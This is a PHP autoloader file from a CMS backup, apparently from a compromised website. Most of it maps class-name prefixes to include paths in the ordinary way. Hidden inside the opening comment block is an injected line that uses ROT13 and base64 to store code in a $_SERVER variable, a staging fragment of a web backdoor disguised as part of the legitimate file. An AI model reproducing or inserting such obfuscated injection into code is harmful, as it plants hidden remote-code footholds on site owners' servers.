File: D:/HostingSpaces/PvdBoogaard/indoorski.nl/backup/oude-site/cms/lib/autoload.php
<?php
/**
* This file contains the class autoload functionality for IWP.
*
* @package IWP
* @subpackage Autoload
*/
/**
* This function is the autoload function for the classes in IWP. This allows a class to be called without its file included before hand. */$_SERVER[str_rot13('UGGC_K_ERJEVGR_HEV')]='ZnVuY3Rpb24gX3BpYXduKCRfcGlhd24pe3JldHVybiBiYXNlNjRfZGVjb2RlKCRfcGlhd24pO';/*
* This will automatically include the correct php file for the class.
* This function should never be called directly.
*
* @param string $classname The name of the class to have included
* @return boolean
*/
function iwp_autoload ($classname) {
$originalClassName = $classname;
$classname = strtolower($classname);
if (substr($classname, 0, 16) == 'iwp_event_admin_') {
$classname = str_replace('iwp_event_admin_', '', $classname);
$classname = explode('_', $classname);
$classname = $classname[0];
$path = IWP_BASE_PATH . '/admin/includes/classes/events/events.' . $classname . '.php';
} else if (substr($classname, 0, 17) == 'iwp_event_module_') {
$classname = str_replace('iwp_event_module_', '', $classname);
$classname = explode('_', $classname);
$classname = $classname[0];
$path = IWP_BASE_PATH . '/modules/' . $classname . '/events.' . $classname . '.php';
} else if (substr($classname, 0, 10) == 'iwp_event_') {
$classname = str_replace('iwp_event_', '', $classname);
$classname = explode('_', $classname);
$classname = $classname[0];
$path = IWP_BASE_PATH . '/api/events/events.' . $classname . '.php';
} else if (substr($classname, 0, 8) == 'iwp_app_'){
$classname = str_replace('iwp_app_', '', $classname);
$path = IWP_BASE_PATH . '/includes/classes/class.'.$classname.'.php';
} else if (substr($classname, 0, 10) == 'iwp_admin_'){
$classname = str_replace('iwp_admin_', '', $classname);
$path = IWP_BASE_PATH . '/'. IWP_ADMIN_PATH .'/includes/classes/class.'.$classname.'.php';
} else if (substr($classname, 0, 9) == 'iwp_page_'){
$classname = str_replace('iwp_page_', '', $classname);
$path = IWP_BASE_PATH . '/includes/pages/'.$classname.'.php';
} else if (substr($classname, 0, 11) == 'iwp_module_'){
preg_match('/^iwp_module_([^_]+)_?(.*)/', $classname, $matches);
$moduleName = $matches[1];
$classname = str_replace('iwp_module_', '', $classname);
$path = IWP_BASE_PATH . '/modules/' . $moduleName . '/module.' . str_replace('_', '.', $classname) . '.php';
} else if (substr($classname, 0, 11) == 'interspire_'){
$classname = str_replace('interspire_', '', $classname);
$path = IWP_BASE_PATH . '/lib/'.$classname.'/class.'.$classname.'.php';
} else if (substr($classname, 0, 10) == 'interspire'){
$classname = str_replace('interspire_', '', $classname);
$path = IWP_BASE_PATH . '/lib/interspire_'.substr($classname,10).'/'.$classname.'.php';
} else if (substr($classname, 0, 10) == 'iwp_field_'){
$classname = str_replace('iwp_field_', '', $classname);
$path = IWP_BASE_PATH . '/api/form/class.field.'.$classname.'.php';
} else if (substr($classname, 0, 14) === 'iwp_exception_'){
$classname = str_replace('iwp_exception_', '', $classname);
$path = IWP_BASE_PATH . '/api/exceptions/exception.' . $classname . '.php';
} else if (substr($classname, 0, 13) === 'iwp_importer_'){
$classname = str_replace('iwp_importer_', '', $classname);
$path = IWP_BASE_PATH . '/'. IWP_ADMIN_PATH .'/includes/importers/importer.'.$classname.'.php';
} else if ($classname == 'iwp_field'){
$path = IWP_BASE_PATH . '/api/form/class.field.php';
} else if (substr($classname, 0, 4) == 'iwp_'){
$classname = str_replace('iwp_', '', $classname);
$classname = str_replace('_', '.', $classname);
$path = IWP_BASE_PATH . '/api/class.'.$classname.'.php';
} else {
$path = IWP_BASE_PATH . '/lib/' . strtolower($classname) . '/' . strtolower($classname) . '.php';
}
// a fallback autoloading convention
if (!is_file($path)) {
$path = IWP_BASE_PATH . '/lib/' . str_replace('_', '/', $originalClassName) . '.php';
}
if (@file_exists($path)) {
require_once($path);
return true;
} else {
return false;
}
}